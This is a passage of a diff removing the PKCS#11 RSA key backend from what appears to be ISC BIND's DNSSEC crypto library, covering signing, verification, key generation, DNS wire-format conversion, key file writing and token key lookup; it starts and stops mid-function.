-		 (pk11_ctx->session, &mech,
-		  pk11_ctx->ontoken ? pk11_ctx->object : hKey),
-		 ISC_R_FAILURE);
-
-	PK11_RET(pkcs_C_Sign,
-		 (pk11_ctx->session, digest, dgstlen, NULL, &siglen),
-		 DST_R_SIGNFAILURE);
-
-	if (r.length < (unsigned int)siglen) {
-		return (ISC_R_NOSPACE);
-	}
-
-	PK11_RET(pkcs_C_Sign,
-		 (pk11_ctx->session, digest, dgstlen, (CK_BYTE_PTR)r.base,
-		  &siglen),
-		 DST_R_SIGNFAILURE);
-
-	isc_buffer_add(sig, (unsigned int)siglen);
-
-err:
-	if (hKey != CK_INVALID_HANDLE) {
-		(void)pkcs_C_DestroyObject(pk11_ctx->session, hKey);
-	}
-	for (i = 6; i <= 13; i++) {
-		if (keyTemplate[i].pValue != NULL) {
-			{
-				isc_safe_memwipe(keyTemplate[i].pValue,
-						 keyTemplate[i].ulValueLen);
-				isc_mem_put(dctx->mctx, keyTemplate[i].pValue,
-					    keyTemplate[i].ulValueLen);
-			}
-		}
-	}
-	pk11_return_session(pk11_ctx);
-	isc_safe_memwipe(pk11_ctx, sizeof(*pk11_ctx));
-	isc_mem_put(dctx->mctx, pk11_ctx, sizeof(*pk11_ctx));
-	dctx->ctxdata.pk11_ctx = NULL;
-
-	return (ret);
-}
-
-static isc_result_t
-pkcs11rsa_verify(dst_context_t *dctx, const isc_region_t *sig) {
-	CK_RV rv;
-	CK_MECHANISM mech = { CKM_RSA_PKCS, NULL, 0 };
-	CK_OBJECT_HANDLE hKey = CK_INVALID_HANDLE;
-	CK_OBJECT_CLASS keyClass = CKO_PUBLIC_KEY;
-	CK_KEY_TYPE keyType = CKK_RSA;
-	CK_ATTRIBUTE keyTemplate[] = {
-		{ CKA_CLASS, &keyClass, (CK_ULONG)sizeof(keyClass) },
-		{ CKA_KEY_TYPE, &keyType, (CK_ULONG)sizeof(keyType) },
-		{ CKA_TOKEN, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_PRIVATE, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_VERIFY, &truevalue, (CK_ULONG)sizeof(truevalue) },
-		{ CKA_MODULUS, NULL, 0 },
-		{ CKA_PUBLIC_EXPONENT, NULL, 0 },
-	};
-	CK_ATTRIBUTE *attr;
-	CK_BYTE digest[MAX_DER_SIZE + ISC_SHA512_DIGESTLENGTH];
-	CK_BYTE *der;
-	CK_ULONG derlen;
-	CK_ULONG hashlen;
-	CK_ULONG dgstlen;
-	pk11_context_t *pk11_ctx = dctx->ctxdata.pk11_ctx;
-	dst_key_t *key = dctx->key;
-	pk11_object_t *rsa = key->keydata.pkey;
-	isc_result_t ret = ISC_R_SUCCESS;
-	unsigned int i;
-
-	REQUIRE(key->key_alg == DST_ALG_RSASHA1 ||
-		key->key_alg == DST_ALG_NSEC3RSASHA1 ||
-		key->key_alg == DST_ALG_RSASHA256 ||
-		key->key_alg == DST_ALG_RSASHA512);
-	REQUIRE(rsa != NULL);
-
-	switch (key->key_alg) {
-	case DST_ALG_RSASHA1:
-	case DST_ALG_NSEC3RSASHA1:
-		der = sha1_der;
-		derlen = sizeof(sha1_der);
-		hashlen = ISC_SHA1_DIGESTLENGTH;
-		break;
-	case DST_ALG_RSASHA256:
-		der = sha256_der;
-		derlen = sizeof(sha256_der);
-		hashlen = ISC_SHA256_DIGESTLENGTH;
-		break;
-	case DST_ALG_RSASHA512:
-		der = sha512_der;
-		derlen = sizeof(sha512_der);
-		hashlen = ISC_SHA512_DIGESTLENGTH;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-	dgstlen = derlen + hashlen;
-	INSIST(dgstlen <= sizeof(digest));
-	memmove(digest, der, derlen);
-
-	PK11_RET(pkcs_C_DigestFinal,
-		 (pk11_ctx->session, digest + derlen, &hashlen),
-		 DST_R_SIGNFAILURE);
-
-	for (attr = pk11_attribute_first(rsa); attr != NULL;
-	     attr = pk11_attribute_next(rsa, attr))
-	{
-		unsigned int bits;
-
-		switch (attr->type) {
-		case CKA_MODULUS:
-			INSIST(keyTemplate[5].type == attr->type);
-			keyTemplate[5].pValue = isc_mem_get(dctx->mctx,
-							    attr->ulValueLen);
-			memmove(keyTemplate[5].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[5].ulValueLen = attr->ulValueLen;
-			break;
-		case CKA_PUBLIC_EXPONENT:
-			INSIST(keyTemplate[6].type == attr->type);
-			keyTemplate[6].pValue = isc_mem_get(dctx->mctx,
-							    attr->ulValueLen);
-			memmove(keyTemplate[6].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[6].ulValueLen = attr->ulValueLen;
-			ret = pk11_numbits(attr->pValue, attr->ulValueLen,
-					   &bits);
-			if (ret != ISC_R_SUCCESS || bits > RSA_MAX_PUBEXP_BITS)
-			{
-				DST_RET(DST_R_VERIFYFAILURE);
-			}
-			break;
-		}
-	}
-	pk11_ctx->object = CK_INVALID_HANDLE;
-	pk11_ctx->ontoken = false;
-	PK11_RET(pkcs_C_CreateObject,
-		 (pk11_ctx->session, keyTemplate, (CK_ULONG)7, &hKey),
-		 ISC_R_FAILURE);
-
-	PK11_RET(pkcs_C_VerifyInit, (pk11_ctx->session, &mech, hKey),
-		 ISC_R_FAILURE);
-
-	PK11_RET(pkcs_C_Verify,
-		 (pk11_ctx->session, digest, dgstlen, (CK_BYTE_PTR)sig->base,
-		  (CK_ULONG)sig->length),
-		 DST_R_VERIFYFAILURE);
-
-err:
-	if (hKey != CK_INVALID_HANDLE) {
-		(void)pkcs_C_DestroyObject(pk11_ctx->session, hKey);
-	}
-	for (i = 5; i <= 6; i++) {
-		if (keyTemplate[i].pValue != NULL) {
-			{
-				isc_safe_memwipe(keyTemplate[i].pValue,
-						 keyTemplate[i].ulValueLen);
-				isc_mem_put(dctx->mctx, keyTemplate[i].pValue,
-					    keyTemplate[i].ulValueLen);
-			}
-		}
-	}
-	pk11_return_session(pk11_ctx);
-	isc_safe_memwipe(pk11_ctx, sizeof(*pk11_ctx));
-	isc_mem_put(dctx->mctx, pk11_ctx, sizeof(*pk11_ctx));
-	dctx->ctxdata.pk11_ctx = NULL;
-
-	return (ret);
-}
-#endif /* ifndef PK11_RSA_PKCS_REPLACE */
-
-static bool
-pkcs11rsa_compare(const dst_key_t *key1, const dst_key_t *key2) {
-	pk11_object_t *rsa1, *rsa2;
-	CK_ATTRIBUTE *attr1, *attr2;
-
-	rsa1 = key1->keydata.pkey;
-	rsa2 = key2->keydata.pkey;
-
-	if ((rsa1 == NULL) && (rsa2 == NULL)) {
-		return (true);
-	} else if ((rsa1 == NULL) || (rsa2 == NULL)) {
-		return (false);
-	}
-
-	attr1 = pk11_attribute_bytype(rsa1, CKA_MODULUS);
-	attr2 = pk11_attribute_bytype(rsa2, CKA_MODULUS);
-	if ((attr1 == NULL) && (attr2 == NULL)) {
-		return (true);
-	} else if ((attr1 == NULL) || (attr2 == NULL) ||
-		   (attr1->ulValueLen != attr2->ulValueLen) ||
-		   !isc_safe_memequal(attr1->pValue, attr2->pValue,
-				      attr1->ulValueLen))
-	{
-		return (false);
-	}
-
-	attr1 = pk11_attribute_bytype(rsa1, CKA_PUBLIC_EXPONENT);
-	attr2 = pk11_attribute_bytype(rsa2, CKA_PUBLIC_EXPONENT);
-	if ((attr1 == NULL) && (attr2 == NULL)) {
-		return (true);
-	} else if ((attr1 == NULL) || (attr2 == NULL) ||
-		   (attr1->ulValueLen != attr2->ulValueLen) ||
-		   !isc_safe_memequal(attr1->pValue, attr2->pValue,
-				      attr1->ulValueLen))
-	{
-		return (false);
-	}
-
-	attr1 = pk11_attribute_bytype(rsa1, CKA_PRIVATE_EXPONENT);
-	attr2 = pk11_attribute_bytype(rsa2, CKA_PRIVATE_EXPONENT);
-	if (((attr1 != NULL) || (attr2 != NULL)) &&
-	    ((attr1 == NULL) || (attr2 == NULL) ||
-	     (attr1->ulValueLen != attr2->ulValueLen) ||
-	     !isc_safe_memequal(attr1->pValue, attr2->pValue,
-				attr1->ulValueLen)))
-	{
-		return (false);
-	}
-
-	if (!rsa1->ontoken && !rsa2->ontoken) {
-		return (true);
-	} else if (rsa1->ontoken || rsa2->ontoken ||
-		   (rsa1->object != rsa2->object)) {
-		return (false);
-	}
-
-	return (true);
-}
-
-static isc_result_t
-pkcs11rsa_generate(dst_key_t *key, int exp, void (*callback)(int)) {
-	CK_RV rv;
-	CK_MECHANISM mech = { CKM_RSA_PKCS_KEY_PAIR_GEN, NULL, 0 };
-	CK_OBJECT_HANDLE pub = CK_INVALID_HANDLE;
-	CK_ULONG bits = 0;
-	CK_BYTE pubexp[5];
-	CK_OBJECT_CLASS pubClass = CKO_PUBLIC_KEY;
-	CK_KEY_TYPE keyType = CKK_RSA;
-	CK_ATTRIBUTE pubTemplate[] = {
-		{ CKA_CLASS, &pubClass, (CK_ULONG)sizeof(pubClass) },
-		{ CKA_KEY_TYPE, &keyType, (CK_ULONG)sizeof(keyType) },
-		{ CKA_TOKEN, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_PRIVATE, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_VERIFY, &truevalue, (CK_ULONG)sizeof(truevalue) },
-		{ CKA_MODULUS_BITS, &bits, (CK_ULONG)sizeof(bits) },
-		{ CKA_PUBLIC_EXPONENT, &pubexp, (CK_ULONG)sizeof(pubexp) }
-	};
-	CK_OBJECT_HANDLE priv = CK_INVALID_HANDLE;
-	CK_OBJECT_CLASS privClass = CKO_PRIVATE_KEY;
-	CK_ATTRIBUTE privTemplate[] = {
-		{ CKA_CLASS, &privClass, (CK_ULONG)sizeof(privClass) },
-		{ CKA_KEY_TYPE, &keyType, (CK_ULONG)sizeof(keyType) },
-		{ CKA_TOKEN, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_PRIVATE, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_SENSITIVE, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_EXTRACTABLE, &truevalue, (CK_ULONG)sizeof(truevalue) },
-		{ CKA_SIGN, &truevalue, (CK_ULONG)sizeof(truevalue) },
-	};
-	CK_ATTRIBUTE *attr;
-	pk11_object_t *rsa;
-	pk11_context_t *pk11_ctx;
-	isc_result_t ret;
-	unsigned int i;
-
-	UNUSED(callback);
-
-	/*
-	 * Reject incorrect RSA key lengths.
-	 */
-	switch (key->key_alg) {
-	case DST_ALG_RSASHA1:
-	case DST_ALG_NSEC3RSASHA1:
-		/* From RFC 3110 */
-		if (key->key_size > 4096) {
-			return (ISC_R_FAILURE);
-		}
-		break;
-	case DST_ALG_RSASHA256:
-		/* From RFC 5702 */
-		if ((key->key_size < 512) || (key->key_size > 4096)) {
-			return (ISC_R_FAILURE);
-		}
-		break;
-	case DST_ALG_RSASHA512:
-		/* From RFC 5702 */
-		if ((key->key_size < 1024) || (key->key_size > 4096)) {
-			return (ISC_R_FAILURE);
-		}
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	pk11_ctx = isc_mem_get(key->mctx, sizeof(*pk11_ctx));
-	ret = pk11_get_session(pk11_ctx, OP_RSA, true, false, false, NULL,
-			       pk11_get_best_token(OP_RSA));
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-
-	bits = key->key_size;
-	if (exp == 0) {
-		/* RSA_F4 0x10001 */
-		pubexp[0] = 1;
-		pubexp[1] = 0;
-		pubexp[2] = 1;
-		pubTemplate[6].ulValueLen = 3;
-	} else {
-		/* F5 0x100000001 */
-		pubexp[0] = 1;
-		pubexp[1] = 0;
-		pubexp[2] = 0;
-		pubexp[3] = 0;
-		pubexp[4] = 1;
-		pubTemplate[6].ulValueLen = 5;
-	}
-
-	PK11_RET(pkcs_C_GenerateKeyPair,
-		 (pk11_ctx->session, &mech, pubTemplate, (CK_ULONG)7,
-		  privTemplate, (CK_ULONG)7, &pub, &priv),
-		 DST_R_CRYPTOFAILURE);
-
-	rsa = isc_mem_get(key->mctx, sizeof(*rsa));
-	memset(rsa, 0, sizeof(*rsa));
-	key->keydata.pkey = rsa;
-	rsa->repr = isc_mem_get(key->mctx, sizeof(*attr) * 8);
-	memset(rsa->repr, 0, sizeof(*attr) * 8);
-	rsa->attrcnt = 8;
-
-	attr = rsa->repr;
-	attr[0].type = CKA_MODULUS;
-	attr[1].type = CKA_PUBLIC_EXPONENT;
-	attr[2].type = CKA_PRIVATE_EXPONENT;
-	attr[3].type = CKA_PRIME_1;
-	attr[4].type = CKA_PRIME_2;
-	attr[5].type = CKA_EXPONENT_1;
-	attr[6].type = CKA_EXPONENT_2;
-	attr[7].type = CKA_COEFFICIENT;
-
-	PK11_RET(pkcs_C_GetAttributeValue, (pk11_ctx->session, pub, attr, 2),
-		 DST_R_CRYPTOFAILURE);
-	for (i = 0; i <= 1; i++) {
-		attr[i].pValue = isc_mem_get(key->mctx, attr[i].ulValueLen);
-		memset(attr[i].pValue, 0, attr[i].ulValueLen);
-	}
-	PK11_RET(pkcs_C_GetAttributeValue, (pk11_ctx->session, pub, attr, 2),
-		 DST_R_CRYPTOFAILURE);
-
-	attr += 2;
-	PK11_RET(pkcs_C_GetAttributeValue, (pk11_ctx->session, priv, attr, 6),
-		 DST_R_CRYPTOFAILURE);
-	for (i = 0; i <= 5; i++) {
-		attr[i].pValue = isc_mem_get(key->mctx, attr[i].ulValueLen);
-		memset(attr[i].pValue, 0, attr[i].ulValueLen);
-	}
-	PK11_RET(pkcs_C_GetAttributeValue, (pk11_ctx->session, priv, attr, 6),
-		 DST_R_CRYPTOFAILURE);
-
-	(void)pkcs_C_DestroyObject(pk11_ctx->session, priv);
-	(void)pkcs_C_DestroyObject(pk11_ctx->session, pub);
-	pk11_return_session(pk11_ctx);
-	isc_safe_memwipe(pk11_ctx, sizeof(*pk11_ctx));
-	isc_mem_put(key->mctx, pk11_ctx, sizeof(*pk11_ctx));
-
-	return (ISC_R_SUCCESS);
-
-err:
-	pkcs11rsa_destroy(key);
-	if (priv != CK_INVALID_HANDLE) {
-		(void)pkcs_C_DestroyObject(pk11_ctx->session, priv);
-	}
-	if (pub != CK_INVALID_HANDLE) {
-		(void)pkcs_C_DestroyObject(pk11_ctx->session, pub);
-	}
-	pk11_return_session(pk11_ctx);
-	isc_safe_memwipe(pk11_ctx, sizeof(*pk11_ctx));
-	isc_mem_put(key->mctx, pk11_ctx, sizeof(*pk11_ctx));
-
-	return (ret);
-}
-
-static bool
-pkcs11rsa_isprivate(const dst_key_t *key) {
-	pk11_object_t *rsa = key->keydata.pkey;
-	CK_ATTRIBUTE *attr;
-
-	if (rsa == NULL) {
-		return (false);
-	}
-	attr = pk11_attribute_bytype(rsa, CKA_PRIVATE_EXPONENT);
-	return (attr != NULL || rsa->ontoken);
-}
-
-static void
-pkcs11rsa_destroy(dst_key_t *key) {
-	pk11_object_t *rsa = key->keydata.pkey;
-	CK_ATTRIBUTE *attr;
-
-	if (rsa == NULL) {
-		return;
-	}
-
-	INSIST((rsa->object == CK_INVALID_HANDLE) || rsa->ontoken);
-
-	for (attr = pk11_attribute_first(rsa); attr != NULL;
-	     attr = pk11_attribute_next(rsa, attr))
-		switch (attr->type) {
-		case CKA_LABEL:
-		case CKA_ID:
-		case CKA_MODULUS:
-		case CKA_PUBLIC_EXPONENT:
-		case CKA_PRIVATE_EXPONENT:
-		case CKA_PRIME_1:
-		case CKA_PRIME_2:
-		case CKA_EXPONENT_1:
-		case CKA_EXPONENT_2:
-		case CKA_COEFFICIENT:
-			if (attr->pValue != NULL) {
-				isc_safe_memwipe(attr->pValue,
-						 attr->ulValueLen);
-				isc_mem_put(key->mctx, attr->pValue,
-					    attr->ulValueLen);
-			}
-			break;
-		}
-	if (rsa->repr != NULL) {
-		isc_safe_memwipe(rsa->repr, rsa->attrcnt * sizeof(*attr));
-		isc_mem_put(key->mctx, rsa->repr, rsa->attrcnt * sizeof(*attr));
-	}
-	isc_safe_memwipe(rsa, sizeof(*rsa));
-	isc_mem_put(key->mctx, rsa, sizeof(*rsa));
-	key->keydata.pkey = NULL;
-}
-
-static isc_result_t
-pkcs11rsa_todns(const dst_key_t *key, isc_buffer_t *data) {
-	pk11_object_t *rsa;
-	CK_ATTRIBUTE *attr;
-	isc_region_t r;
-	unsigned int e_bytes = 0, mod_bytes = 0;
-	CK_BYTE *exponent = NULL, *modulus = NULL;
-
-	REQUIRE(key->keydata.pkey != NULL);
-
-	rsa = key->keydata.pkey;
-
-	for (attr = pk11_attribute_first(rsa); attr != NULL;
-	     attr = pk11_attribute_next(rsa, attr))
-		switch (attr->type) {
-		case CKA_PUBLIC_EXPONENT:
-			exponent = (CK_BYTE *)attr->pValue;
-			e_bytes = (unsigned int)attr->ulValueLen;
-			break;
-		case CKA_MODULUS:
-			modulus = (CK_BYTE *)attr->pValue;
-			mod_bytes = (unsigned int)attr->ulValueLen;
-			break;
-		}
-	REQUIRE((exponent != NULL) && (modulus != NULL));
-
-	isc_buffer_availableregion(data, &r);
-
-	if (e_bytes < 256) { /*%< key exponent is <= 2040 bits */
-		if (r.length < 1) {
-			return (ISC_R_NOSPACE);
-		}
-		isc_buffer_putuint8(data, (uint8_t)e_bytes);
-		isc_region_consume(&r, 1);
-	} else {
-		if (r.length < 3) {
-			return (ISC_R_NOSPACE);
-		}
-		isc_buffer_putuint8(data, 0);
-		isc_buffer_putuint16(data, (uint16_t)e_bytes);
-		isc_region_consume(&r, 3);
-	}
-
-	if (r.length < e_bytes + mod_bytes) {
-		return (ISC_R_NOSPACE);
-	}
-
-	memmove(r.base, exponent, e_bytes);
-	isc_region_consume(&r, e_bytes);
-	memmove(r.base, modulus, mod_bytes);
-
-	isc_buffer_add(data, e_bytes + mod_bytes);
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-pkcs11rsa_fromdns(dst_key_t *key, isc_buffer_t *data) {
-	pk11_object_t *rsa;
-	isc_region_t r;
-	unsigned int e_bytes, mod_bytes;
-	CK_BYTE *exponent = NULL, *modulus = NULL;
-	CK_ATTRIBUTE *attr;
-	unsigned int length;
-	unsigned int bits;
-	isc_result_t ret = ISC_R_SUCCESS;
-
-	isc_buffer_remainingregion(data, &r);
-	if (r.length == 0) {
-		return (ISC_R_SUCCESS);
-	}
-	length = r.length;
-
-	rsa = isc_mem_get(key->mctx, sizeof(*rsa));
-
-	memset(rsa, 0, sizeof(*rsa));
-
-	e_bytes = *r.base;
-	isc_region_consume(&r, 1);
-
-	if (e_bytes == 0) {
-		if (r.length < 2) {
-			DST_RET(DST_R_INVALIDPUBLICKEY);
-		}
-		e_bytes = (*r.base) << 8;
-		isc_region_consume(&r, 1);
-		e_bytes += *r.base;
-		isc_region_consume(&r, 1);
-	}
-
-	if (r.length < e_bytes) {
-		DST_RET(DST_R_INVALIDPUBLICKEY);
-	}
-	exponent = r.base;
-	isc_region_consume(&r, e_bytes);
-	modulus = r.base;
-	mod_bytes = r.length;
-
-	ret = pk11_numbits(modulus, mod_bytes, &bits);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-	key->key_size = bits;
-
-	isc_buffer_forward(data, length);
-
-	rsa->repr = isc_mem_get(key->mctx, sizeof(*attr) * 2);
-	memset(rsa->repr, 0, sizeof(*attr) * 2);
-	rsa->attrcnt = 2;
-	attr = rsa->repr;
-	attr[0].type = CKA_MODULUS;
-	attr[0].pValue = isc_mem_get(key->mctx, mod_bytes);
-	memmove(attr[0].pValue, modulus, mod_bytes);
-	attr[0].ulValueLen = (CK_ULONG)mod_bytes;
-	attr[1].type = CKA_PUBLIC_EXPONENT;
-	attr[1].pValue = isc_mem_get(key->mctx, e_bytes);
-	memmove(attr[1].pValue, exponent, e_bytes);
-	attr[1].ulValueLen = (CK_ULONG)e_bytes;
-
-	key->keydata.pkey = rsa;
-
-	return (ISC_R_SUCCESS);
-err:
-	isc_safe_memwipe(rsa, sizeof(*rsa));
-	isc_mem_put(key->mctx, rsa, sizeof(*rsa));
-	return (ret);
-}
-
-static isc_result_t
-pkcs11rsa_tofile(const dst_key_t *key, const char *directory) {
-	int i;
-	pk11_object_t *rsa;
-	CK_ATTRIBUTE *attr;
-	CK_ATTRIBUTE *modulus = NULL, *exponent = NULL;
-	CK_ATTRIBUTE *d = NULL, *p = NULL, *q = NULL;
-	CK_ATTRIBUTE *dmp1 = NULL, *dmq1 = NULL, *iqmp = NULL;
-	dst_private_t priv;
-	unsigned char *bufs[10];
-	isc_result_t result;
-
-	if (key->keydata.pkey == NULL) {
-		return (DST_R_NULLKEY);
-	}
-
-	if (key->external) {
-		priv.nelements = 0;
-		return (dst__privstruct_writefile(key, &priv, directory));
-	}
-
-	rsa = key->keydata.pkey;
-
-	for (attr = pk11_attribute_first(rsa); attr != NULL;
-	     attr = pk11_attribute_next(rsa, attr))
-		switch (attr->type) {
-		case CKA_MODULUS:
-			modulus = attr;
-			break;
-		case CKA_PUBLIC_EXPONENT:
-			exponent = attr;
-			break;
-		case CKA_PRIVATE_EXPONENT:
-			d = attr;
-			break;
-		case CKA_PRIME_1:
-			p = attr;
-			break;
-		case CKA_PRIME_2:
-			q = attr;
-			break;
-		case CKA_EXPONENT_1:
-			dmp1 = attr;
-			break;
-		case CKA_EXPONENT_2:
-			dmq1 = attr;
-			break;
-		case CKA_COEFFICIENT:
-			iqmp = attr;
-			break;
-		}
-	if ((modulus == NULL) || (exponent == NULL)) {
-		return (DST_R_NULLKEY);
-	}
-
-	memset(bufs, 0, sizeof(bufs));
-
-	for (i = 0; i < 10; i++) {
-		bufs[i] = isc_mem_get(key->mctx, modulus->ulValueLen);
-		memset(bufs[i], 0, modulus->ulValueLen);
-	}
-
-	i = 0;
-
-	priv.elements[i].tag = TAG_RSA_MODULUS;
-	priv.elements[i].length = (unsigned short)modulus->ulValueLen;
-	memmove(bufs[i], modulus->pValue, modulus->ulValueLen);
-	priv.elements[i].data = bufs[i];
-	i++;
-
-	priv.elements[i].tag = TAG_RSA_PUBLICEXPONENT;
-	priv.elements[i].length = (unsigned short)exponent->ulValueLen;
-	memmove(bufs[i], exponent->pValue, exponent->ulValueLen);
-	priv.elements[i].data = bufs[i];
-	i++;
-
-	if (d != NULL) {
-		priv.elements[i].tag = TAG_RSA_PRIVATEEXPONENT;
-		priv.elements[i].length = (unsigned short)d->ulValueLen;
-		memmove(bufs[i], d->pValue, d->ulValueLen);
-		priv.elements[i].data = bufs[i];
-		i++;
-	}
-
-	if (p != NULL) {
-		priv.elements[i].tag = TAG_RSA_PRIME1;
-		priv.elements[i].length = (unsigned short)p->ulValueLen;
-		memmove(bufs[i], p->pValue, p->ulValueLen);
-		priv.elements[i].data = bufs[i];
-		i++;
-	}
-
-	if (q != NULL) {
-		priv.elements[i].tag = TAG_RSA_PRIME2;
-		priv.elements[i].length = (unsigned short)q->ulValueLen;
-		memmove(bufs[i], q->pValue, q->ulValueLen);
-		priv.elements[i].data = bufs[i];
-		i++;
-	}
-
-	if (dmp1 != NULL) {
-		priv.elements[i].tag = TAG_RSA_EXPONENT1;
-		priv.elements[i].length = (unsigned short)dmp1->ulValueLen;
-		memmove(bufs[i], dmp1->pValue, dmp1->ulValueLen);
-		priv.elements[i].data = bufs[i];
-		i++;
-	}
-
-	if (dmq1 != NULL) {
-		priv.elements[i].tag = TAG_RSA_EXPONENT2;
-		priv.elements[i].length = (unsigned short)dmq1->ulValueLen;
-		memmove(bufs[i], dmq1->pValue, dmq1->ulValueLen);
-		priv.elements[i].data = bufs[i];
-		i++;
-	}
-
-	if (iqmp != NULL) {
-		priv.elements[i].tag = TAG_RSA_COEFFICIENT;
-		priv.elements[i].length = (unsigned short)iqmp->ulValueLen;
-		memmove(bufs[i], iqmp->pValue, iqmp->ulValueLen);
-		priv.elements[i].data = bufs[i];
-		i++;
-	}
-
-	if (key->engine != NULL) {
-		priv.elements[i].tag = TAG_RSA_ENGINE;
-		priv.elements[i].length = (unsigned short)strlen(key->engine) +
-					  1;
-		priv.elements[i].data = (unsigned char *)key->engine;
-		i++;
-	}
-
-	if (key->label != NULL) {
-		priv.elements[i].tag = TAG_RSA_LABEL;
-		priv.elements[i].length = (unsigned short)strlen(key->label) +
-					  1;
-		priv.elements[i].data = (unsigned char *)key->label;
-		i++;
-	}
-
-	priv.nelements = i;
-	result = dst__privstruct_writefile(key, &priv, directory);
-	for (i = 0; i < 10; i++) {
-		if (bufs[i] == NULL) {
-			break;
-		}
-		isc_safe_memwipe(bufs[i], modulus->ulValueLen);
-		isc_mem_put(key->mctx, bufs[i], modulus->ulValueLen);
-	}
-	return (result);
-}
-
-static isc_result_t
-pkcs11rsa_fetch(dst_key_t *key, const char *engine, const char *label,
-		dst_key_t *pub) {
-	CK_RV rv;
-	CK_OBJECT_CLASS keyClass = CKO_PRIVATE_KEY;
-	CK_KEY_TYPE keyType = CKK_RSA;
-	CK_ATTRIBUTE searchTemplate[] = {
-		{ CKA_CLASS, &keyClass, (CK_ULONG)sizeof(keyClass) },
-		{ CKA_KEY_TYPE, &keyType, (CK_ULONG)sizeof(keyType) },
-		{ CKA_TOKEN, &truevalue, (CK_ULONG)sizeof(truevalue) },
-		{ CKA_LABEL, NULL, 0 }
-	};
-	CK_ULONG cnt;
-	CK_ATTRIBUTE *attr;
-	CK_ATTRIBUTE *pubattr;
-	pk11_object_t *rsa;
-	pk11_object_t *pubrsa;
-	pk11_context_t *pk11_ctx = NULL;
-	isc_result_t ret;
-	unsigned int bits;
-
-	if (label == NULL) {
-		return (DST_R_NOENGINE);
-	}
-
-	rsa = key->keydata.pkey;
-	pubrsa = pub->keydata.pkey;
-
-	rsa->object = CK_INVALID_HANDLE;
-	rsa->ontoken = true;
-	rsa->reqlogon = true;
-	rsa->repr = isc_mem_get(key->mctx, sizeof(*attr) * 2);
-	memset(rsa->repr, 0, sizeof(*attr) * 2);
-	rsa->attrcnt = 2;
-	attr = rsa->repr;
-
-	attr->type = CKA_MODULUS;
-	pubattr = pk11_attribute_bytype(pubrsa, CKA_MODULUS);
-	INSIST(pubattr != NULL);
-	attr->pValue = isc_mem_get(key->mctx, pubattr->ulValueLen);
-	memmove(attr->pValue, pubattr->pValue, pubattr->ulValueLen);
-	attr->ulValueLen = pubattr->ulValueLen;
-	attr++;
-
-	attr->type = CKA_PUBLIC_EXPONENT;
-	pubattr = pk11_attribute_bytype(pubrsa, CKA_PUBLIC_EXPONENT);
-	INSIST(pubattr != NULL);
-	attr->pValue = isc_mem_get(key->mctx, pubattr->ulValueLen);
-	memmove(attr->pValue, pubattr->pValue, pubattr->ulValueLen);
-	attr->ulValueLen = pubattr->ulValueLen;
-
-	ret = pk11_parse_uri(rsa, label, key->mctx, OP_RSA);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-
-	pk11_ctx = isc_mem_get(key->mctx, sizeof(*pk11_ctx));
-	ret = pk11_get_session(pk11_ctx, OP_RSA, true, false, rsa->reqlogon,
-			       NULL, rsa->slot);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-
-	attr = pk11_attribute_bytype(rsa, CKA_LABEL);
-	if (attr == NULL) {
-		attr = pk11_attribute_bytype(rsa, CKA_ID);
-		INSIST(attr != NULL);
-		searchTemplate[3].type = CKA_ID;
-	}
-	searchTemplate[3].pValue = attr->pValue;
-	searchTemplate[3].ulValueLen = attr->ulValueLen;
-
-	PK11_RET(pkcs_C_FindObjectsInit,
-		 (pk11_ctx->session, searchTemplate, (CK_ULONG)4),
-		 DST_R_CRYPTOFAILURE);
-	PK11_RET(pkcs_C_FindObjects,
-		 (pk11_ctx->session, &rsa->object, (CK_ULONG)1, &cnt),
-		 DST_R_CRYPTOFAILURE);
-	(void)pkcs_C_FindObjectsFinal(pk11_ctx->session);
-	if (cnt == 0) {
-		DST_RET(ISC_R_NOTFOUND);
-	}
-	if (cnt > 1) {
-		DST_RET(ISC_R_EXISTS);
-	}
-
-	if (engine != NULL) {
-		key->engine = isc_mem_strdup(key->mctx, engine);
-	}
-
-	key->label = isc_mem_strdup(key->mctx, label);
-
-	pk11_return_session(pk11_ctx);
-	isc_safe_memwipe(pk11_ctx, sizeof(*pk11_ctx));
-	isc_mem_put(key->mctx, pk11_ctx, sizeof(*pk11_ctx));
-
-	attr = pk11_attribute_bytype(rsa, CKA_MODULUS);
-	INSIST(attr != NULL);
-	ret = pk11_numbits(attr->pValue, attr->ulValueLen, &bits);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-	key->key_size = bits;
-
-	return (ISC_R_SUCCESS);
-
-err:
-	if (pk11_ctx != NULL) {
-		pk11_return_session(pk11_ctx);
-		isc_safe_memwipe(pk11_ctx, sizeof(*pk11_ctx));
-		isc_mem_put(key->mctx, pk11_ctx, sizeof(*pk11_ctx));
-	}
-
-	return (ret);
-}
-
-static isc_result_t
-rsa_check(pk11_object_t *rsa, pk11_object_t *pubrsa) {
-	CK_ATTRIBUTE *pubattr, *privattr;
-	CK_BYTE *priv_exp = NULL, *priv_mod = NULL;
-	CK_BYTE *pub_exp = NULL, *pub_mod = NULL;
-	unsigned int priv_explen = 0, priv_modlen = 0;
-	unsigned int pub_explen = 0, pub_modlen = 0;
-
-	REQUIRE(rsa != NULL && pubrsa != NULL);
-
-	privattr = pk11_attribute_bytype(rsa, CKA_PUBLIC_EXPONENT);
-	INSIST(privattr != NULL);
-	priv_exp = privattr->pValue;
-	priv_explen = privattr->ulValueLen;
-
-	pubattr = pk11_attribute_bytype(pubrsa, CKA_PUBLIC_EXPONENT);
-	INSIST(pubattr != NULL);
-	pub_exp = pubattr->pValue;
-	pub_explen = pubattr->ulValueLen;
-
-	if (priv_exp != NULL) {
